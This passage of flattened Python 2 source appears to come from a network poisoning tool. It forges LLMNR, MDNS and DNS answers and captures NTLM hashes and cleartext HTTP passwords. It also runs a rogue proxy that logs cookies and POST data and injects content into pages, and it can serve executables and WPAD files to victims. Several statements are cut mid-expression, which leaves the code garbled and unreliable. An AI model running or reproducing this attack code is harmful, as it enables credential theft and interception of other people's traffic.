print Message logger2.warning(Message) if Is_Finger_On(Finger_On_Off): try: Finger = RunSmbFinger((self.client_address[0],445)) print '[+] OsVersion is:%s'%(Finger[0]) print '[+] ClientVersion is :%s'%(Finger[1]) logging.warning('[+] OsVersion is:%s'%(Finger[0])) logging.warning('[+] ClientVersion is :%s'%(Finger[1])) except Exception: logging.warning('[+] Fingerprint failed for host: %s'%(self.client_address[0])) pass if RespondToSpecificName(RespondToName) and RespondToNameScope(RespondToName.upper(), Name.upper()): buff = LLMNRAns(Tid=data[0:2],QuestionName=Name, AnswerName=Name) buff.calculate() for x in range(1): soc.sendto(str(buff), self.client_address) Message = "LLMNR poisoned answer sent to this IP: %s. The requested name was : %s."%(self.client_address[0],Name) logging.warning(Message) if PrintLLMNRNBTNS(Log2Filename,Message): print Message logger2.warning(Message) if Is_Finger_On(Finger_On_Off): try: Finger = RunSmbFinger((self.client_address[0],445)) print '[+] OsVersion is:%s'%(Finger[0]) print '[+] ClientVersion is :%s'%(Finger[1]) logging.warning('[+] OsVersion is:%s'%(Finger[0])) logging.warning('[+] ClientVersion is :%s'%(Finger[1])) except Exception: logging.warning('[+] Fingerprint failed for host: %s'%(self.client_address[0])) pass if Analyze(AnalyzeMode) == False and RespondToSpecificHost(RespondTo) == False: if RespondToSpecificName(RespondToName) and RespondToNameScope(RespondToName.upper(), Name.upper()): buff = LLMNRAns(Tid=data[0:2],QuestionName=Name, AnswerName=Name) buff.calculate() Message = "LLMNR poisoned answer sent to this IP: %s. The requested name was : %s."%(self.client_address[0],Name) for x in range(1): soc.sendto(str(buff), self.client_address) if PrintLLMNRNBTNS(Log2Filename,Message): print Message logger2.warning(Message) if Is_Finger_On(Finger_On_Off): try: Finger = RunSmbFinger((self.client_address[0],445)) print '[+] OsVersion is:%s'%(Finger[0]) print '[+] ClientVersion is :%s'%(Finger[1]) logging.warning('[+] OsVersion is:%s'%(Finger[0])) logging.warning('[+] ClientVersion is :%s'%(Finger[1])) except Exception: logging.warning('[+] Fingerprint failed for host: %s'%(self.client_address[0])) pass if RespondToSpecificName(RespondToName) == False: buff = LLMNRAns(Tid=data[0:2],QuestionName=Name, AnswerName=Name) buff.calculate() Message = "LLMNR poisoned answer sent to this IP: %s. The requested name was : %s."%(self.client_address[0],Name) for x in range(1): soc.sendto(str(buff), self.client_address) if PrintLLMNRNBTNS(Log2Filename,Message): print Message logger2.warning(Message) if Is_Finger_On(Finger_On_Off): try: Finger = RunSmbFinger((self.client_address[0],445)) print '[+] OsVersion is:%s'%(Finger[0]) print '[+] ClientVersion is :%s'%(Finger[1]) logging.warning('[+] OsVersion is:%s'%(Finger[0])) logging.warning('[+] ClientVersion is :%s'%(Finger[1])) except Exception: logging.warning('[+] Fingerprint failed for host: %s'%(self.client_address[0])) pass else: pass else: pass except: raise ################################################################################## #DNS Stuff ################################################################################## def ParseDNSType(data): QueryTypeClass = data[len(data)-4:] if QueryTypeClass == "\x00\x01\x00\x01":#If Type A, Class IN, then answer. return True else: return False #DNS Answer packet. class DNSAns(Packet): fields = OrderedDict([ ("Tid", ""), ("Flags", "\x80\x10"), ("Question", "\x00\x01"), ("AnswerRRS", "\x00\x01"), ("AuthorityRRS", "\x00\x00"), ("AdditionalRRS", "\x00\x00"), ("QuestionName", ""), ("QuestionNameNull", "\x00"), ("Type", "\x00\x01"), ("Class", "\x00\x01"), ("AnswerPointer", "\xc0\x0c"), ("Type1", "\x00\x01"), ("Class1", "\x00\x01"), ("TTL", "\x00\x00\x00\x1e"), #30 secs, dont mess with their cache for too long.. ("IPLen", "\x00\x04"), ("IP", "\x00\x00\x00\x00"), ]) def calculate(self,data): self.fields["Tid"] = data[0:2] self.fields["QuestionName"] = ''.join(data[12:].split('\x00')[:1]) self.fields["IP"] = inet_aton(OURIP) self.fields["IPLen"] = struct.pack(">h",len(self.fields["IP"])) # DNS Server class. class DNS(BaseRequestHandler): def handle(self): data, soc = self.request if self.client_address[0] == "127.0.0.1": pass elif ParseDNSType(data): buff = DNSAns() buff.calculate(data) soc.sendto(str(buff), self.client_address) print "DNS Answer sent to: %s "%(self.client_address[0]) logging.warning('DNS Answer sent to: %s'%(self.client_address[0])) class DNSTCP(BaseRequestHandler): def handle(self): try: data = self.request.recv(1024) if self.client_address[0] == "127.0.0.1": pass elif ParseDNSType(data): buff = DNSAns() buff.calculate(data) self.request.send(str(buff)) print "DNS Answer sent to: %s "%(self.client_address[0]) logging.warning('DNS Answer sent to: %s'%(self.client_address[0])) except Exception: pass ################################################################################## #MDNS Stuff ################################################################################## class MDNSAns(Packet): fields = OrderedDict([ ("Tid", "\x00\x00"), ("Flags", "\x84\x00"), ("Question", "\x00\x00"), ("AnswerRRS", "\x00\x01"), ("AuthorityRRS", "\x00\x00"), ("AdditionalRRS", "\x00\x00"), ("AnswerName", ""), ("AnswerNameNull", "\x00"), ("Type", "\x00\x01"), ("Class", "\x00\x01"), ("TTL", "\x00\x00\x00\x78"),##Poison for 2mn. ("IPLen", "\x00\x04"), ("IP", "\x00\x00\x00\x00"), ]) def calculate(self): self.fields["IP"] = inet_aton(OURIP) self.fields["IPLen"] = struct.pack(">h",len(self.fields["IP"])) def Parse_MDNS_Name(data): data = data[12:] NameLen = struct.unpack('>B',data[0])[0] Name = data[1:1+NameLen] NameLen_ = struct.unpack('>B',data[1+NameLen])[0] Name_ = data[1+NameLen:1+NameLen+NameLen_+1] return Name+'.'+Name_ def Poisoned_MDNS_Name(data): data = data[12:] Name = data[:len(data)-5] return Name class MDNS(BaseRequestHandler): def handle(self): MADDR = "224.0.0.251" MPORT = 5353 data, soc = self.request if self.client_address[0] == "127.0.0.1": pass try: if Analyze(AnalyzeMode): if Parse_IPV6_Addr(data): print '[Analyze mode: MDNS] Host: %s is looking for : %s'%(self.client_address[0],Parse_MDNS_Name(data)) logging.warning('[Analyze mode: MDNS] Host: %s is looking for : %s'%(self.client_address[0],Parse_MDNS_Name(data))) if RespondToSpecificHost(RespondTo): if Analyze(AnalyzeMode) == False: if RespondToIPScope(RespondTo, self.client_address[0]): if Parse_IPV6_Addr(data): print 'MDNS poisoned answer sent to this IP: %s. The requested name was : %s'%(self.client_address[0],Parse_MDNS_Name(data)) logging.warning('MDNS poisoned answer sent to this IP: %s. The requested name was : %s'%(self.client_address[0],Parse_MDNS_Name(data))) Name = Poisoned_MDNS_Name(data) MDns = MDNSAns(AnswerName = Name) MDns.calculate() soc.sendto(str(MDns),(MADDR,MPORT)) if Analyze(AnalyzeMode) == False and RespondToSpecificHost(RespondTo) == False: if Parse_IPV6_Addr(data): print 'MDNS poisoned answer sent to this IP: %s. The requested name was : %s'%(self.client_address[0],Parse_MDNS_Name(data)) logging.warning('MDNS poisoned answer sent to this IP: %s. The requested name was : %s'%(self.client_address[0],Parse_MDNS_Name(data))) Name = Poisoned_MDNS_Name(data) MDns = MDNSAns(AnswerName = Name) MDns.calculate() soc.sendto(str(MDns),(MADDR,MPORT)) else: pass except Exception: raise ################################################################################## #HTTP Stuff ################################################################################## from HTTPPackets import * from HTTPProxy import * #Parse NTLMv1/v2 hash. def ParseHTTPHash(data,client): LMhashLen = struct.unpack(' 24: NthashLen = 64 DomainLen = struct.unpack('2: PostData = '[+]The HTTP POST DATA in this request was: %s'%(''.join(POSTDATA).strip()) print PostData logging.warning(PostData) #Handle HTTP packet sequence. def PacketSequence(data,client): Ntlm = re.findall('(?<=Authorization: NTLM )[^\\r]*', data) BasicAuth = re.findall('(?<=Authorization: Basic )[^\\r]*', data) if ServeEXEOrNot(Exe_On_Off) and re.findall('.exe', data): File = config.get('HTTP Server', 'ExecFilename') buffer1 = ServerExeFile(Payload = ServeEXE(data,client,File),filename=File) buffer1.calculate() return str(buffer1) if ServeEXECAlwaysOrNot(Exec_Mode_On_Off): if IsExecutable(FILENAME): buffer1 = ServeAlwaysExeFile(Payload = ServeEXE(data,client,FILENAME),ContentDiFile=FILENAME) buffer1.calculate() return str(buffer1) else: buffer1 = ServeAlwaysNormalFile(Payload = ServeEXE(data,client,FILENAME)) buffer1.calculate() return str(buffer1) if Ntlm: packetNtlm = b64decode(''.join(Ntlm))[8:9] if packetNtlm == "\x01": GrabURL(data,client) GrabCookie(data,client) r = NTLM_Challenge(ServerChallenge=Challenge) r.calculate() t = IIS_NTLM_Challenge_Ans() t.calculate(str(r)) buffer1 = str(t) return buffer1 if packetNtlm == "\x03": NTLM_Auth= b64decode(''.join(Ntlm)) ParseHTTPHash(NTLM_Auth,client) if WpadForcedAuth(Force_WPAD_Auth) and WpadCustom(data,client): Message = "[+]WPAD (auth) file sent to: %s"%(client) if Verbose: print Message logging.warning(Message) buffer1 = WpadCustom(data,client) return buffer1 else: buffer1 = IIS_Auth_Granted(Payload=HTMLToServe) buffer1.calculate() return str(buffer1) if BasicAuth: GrabCookie(data,client) GrabURL(data,client) outfile = os.path.join(ResponderPATH,"HTTP-Clear-Text-Password-"+client+".txt") if PrintData(outfile,b64decode(''.join(BasicAuth))): print "[+]HTTP-User & Password:", b64decode(''.join(BasicAuth)) WriteData(outfile,b64decode(''.join(BasicAuth)), b64decode(''.join(BasicAuth))) logging.warning('[+]HTTP-User & Password: %s'%(b64decode(''.join(BasicAuth)))) if WpadForcedAuth(Force_WPAD_Auth) and WpadCustom(data,client): Message = "[+]WPAD (auth) file sent to: %s"%(client) if Verbose: print Message logging.warning(Message) buffer1 = WpadCustom(data,client) return buffer1 else: buffer1 = IIS_Auth_Granted(Payload=HTMLToServe) buffer1.calculate() return str(buffer1) else: return str(Basic_Ntlm(Basic)) #HTTP Server Class class HTTP(BaseRequestHandler): def handle(self): try: while True: self.request.settimeout(1) data = self.request.recv(8092) buff = WpadCustom(data,self.client_address[0]) if buff and WpadForcedAuth(Force_WPAD_Auth) == False: Message = "[+]WPAD (no auth) file sent to: %s"%(self.client_address[0]) if Verbose: print Message logging.warning(Message) self.request.send(buff) else: buffer0 = PacketSequence(data,self.client_address[0]) self.request.send(buffer0) except Exception: pass#No need to be verbose.. ################################################################################## #HTTP Proxy Stuff ################################################################################## def HandleGzip(Headers, Content, Payload): if len(Content) > 5: try: unziped = zlib.decompress(Content, 16+zlib.MAX_WBITS) except: return False InjectPayload = Payload Len = ''.join(re.findall('(?<=Content-Length: )[^\r\n]*', Headers)) HasHTML = re.findall('(?<=1: try: Headers, Content = data.split('\r\n\r\n') except: return data RedirectCodes = ['HTTP/1.1 300', 'HTTP/1.1 301', 'HTTP/1.1 302', 'HTTP/1.1 303', 'HTTP/1.1 304', 'HTTP/1.1 305', 'HTTP/1.1 306', 'HTTP/1.1 307'] if [s for s in RedirectCodes if s in Headers]: return data if "Content-Encoding: gzip" in Headers: Gzip = HandleGzip(Headers,Content, Payload) if Gzip: return Gzip else: return data if "content-type: text/html" in Headers.lower(): Len = ''.join(re.findall('(?<=Content-Length: )[^\r\n]*', Headers)) HasHTML = re.findall('(?<== 0: host_port = netloc[:i], int(netloc[i+1:]) else: host_port = netloc, 80 try: soc.connect(host_port) except socket.error, arg: try: msg = arg[1] except: msg = arg self.send_error(404, msg) return 0 return 1 def do_CONNECT(self): soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM) try: if self._connect_to(self.path, soc): self.wfile.write(self.protocol_version + " 200 Connection established\r\n") self.wfile.write("Proxy-agent: %s\r\n" % self.version_string()) self.wfile.write("\r\n") try: self._read_write(soc, 300) except: pass finally: soc.close() self.connection.close() def do_GET(self): (scm, netloc, path, params, query, fragment) = urlparse.urlparse( self.path, 'http') if scm not in ('http') or fragment or not netloc: self.send_error(400, "bad url %s" % self.path) return soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM) try: if scm == 'http': if self._connect_to(netloc, soc): soc.send("%s %s %s\r\n" % (self.command, urlparse.urlunparse(('', '', path, params, query, '')), self.request_version)) if "Cookie" in self.headers: Cookie = self.headers['Cookie'] else: Cookie = '' Message = "Requested URL: %s\nComplete Cookie: %s\nClient IP is: %s\n"%(self.path, Cookie, self.client_address[0]) if Verbose == True: print Message OutFile = os.path.join(ResponderPATH,"HTTPCookies/HTTP-Cookie-request-"+netloc+"-from-"+self.client_address[0]+".txt") WriteData(OutFile,Message, Message) self.headers['Connection'] = 'close' del self.headers['Proxy-Connection'] for key_val in self.headers.items(): soc.send("%s: %s\r\n" % key_val) soc.send("\r\n") try: self._read_write(soc, netloc) except: pass finally: soc.close() self.connection.close() def _read_write(self, soc, netloc='', max_idling=30): iw = [self.connection, soc] ow = [] count = 0 while 1: count += 1 (ins, _, exs) = select.select(iw, ow, iw, 1) if exs: break if ins: for i in ins: if i is soc: out = self.connection try: if len(HTMLToServe)>5: data = InjectData(i.recv(8192)) if InjectPage(i.recv(8192),self.client_address[0]): data = InjectPage(i.recv(8192),self.client_address[0]) else: data = i.recv(8192) except: pass else: out = soc data = i.recv(8192) if self.command == "POST": Message = "POST data was: %s\n"%(data) if Verbose == True: print Message OutFile = os.path.join(ResponderPATH,"HTTPCookies/HTTP-Cookie-request-"+netloc+"-from-"+self.client_address[0]+".txt") WriteData(OutFile,Message, Message) if data: try: out.send(data) count = 0 except: pass if count == max_idling: break return None do_HEAD = do_GET do_POST = do_GET do_PUT = do_GET do_DELETE=do_GET ################################################################################## #HTTPS Server ################################################################################## from OpenSSL import SSL #Parse NTLMv1/v2 hash. def ParseHTTPSHash(data,client): LMhashLen = struct.unpack(' 24: print "[+]HTTPS NTLMv2 hash captured from :",client logging.warning('[+]HTTPS NTLMv2 hash captured from :%s'%(client)) NthashLen = 64 DomainLen = struct.unpack(' 10: LMhashOffset = struct.unpack('i',data[2:6])[0] MessageSequence = struct.unpack('i',data[11:15])[0] LDAPVersion = struct.unpack(' 0: time.sleep(1) except KeyboardInterrupt: exit() if __name__ == '__main__': try: main() except: raise